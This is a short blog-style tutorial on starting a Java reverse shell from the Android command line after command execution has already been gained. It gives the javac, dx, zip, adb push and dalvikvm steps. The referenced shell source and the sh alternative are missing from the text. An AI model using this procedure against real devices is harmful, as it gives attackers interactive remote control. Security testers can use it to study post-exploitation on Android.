Android Command Line Reverse Shell in Java

Prerequisites

  • Execution of commands on target Android system
  • Android SDK
  • Ability to download files on target (may be allowed through your ability to execute commands)

TL;DR

Skip to Copy and paste part

Verbose intro

You can find a lot of resources on how to inject meterpreter to APK for getting a reverse shell. What I want to address in this post is a simple tutorial on how to get your interactive remote command line access in case you already obtained command execution on the target device. In my case, I needed this to make an exploitable Android application where you got command line code execution by taking advantage of deserialization vulnerability. Because googling on how to do that took me more than 10 minutes and taught me something new, I decided to share it here.

There is nothing novel, it’s just a way of compiling Java code to be executed by ART/Dalvik on Android’s command line.

Copy & paste part

First you need some Java reverse shell code. You can use following, which is basically just a verbose version of one GitHub gist I found:

Then you have compile it to Java bytecode, convert it to DEX format and create JAR file (substitute path to Android SDK’s dx utility for your path and version):

# compile Java source code
javac ReverseShell.java

# convert to DEX format 
/path/to/your/android/sdk/build-tools/28.0.3/dx --dex --output classes.dex ReverseShell.class

# create fake JAR file
zip ars.jar classes.dex

Now, deliver JAR file to target device. You can use curl through your command execution vulnerability on the device (if you got lucky and your target Android has it). Here, I fake this step using ADB:

adb push ars.jar /sdcard

Finally, by utilizing your command execution you start Java reverse shell from Android’s CLI using dalvikvm command like this (note the path to ars.jar delivered in previous step):

/system/bin/dalvikvm -cp /sdcard/ars.jar ReverseShell

Final note

I should also mention that you might use much simpler solution for reverse shell using sh as this one here:

But it might not be working for you and then you can use the solution above.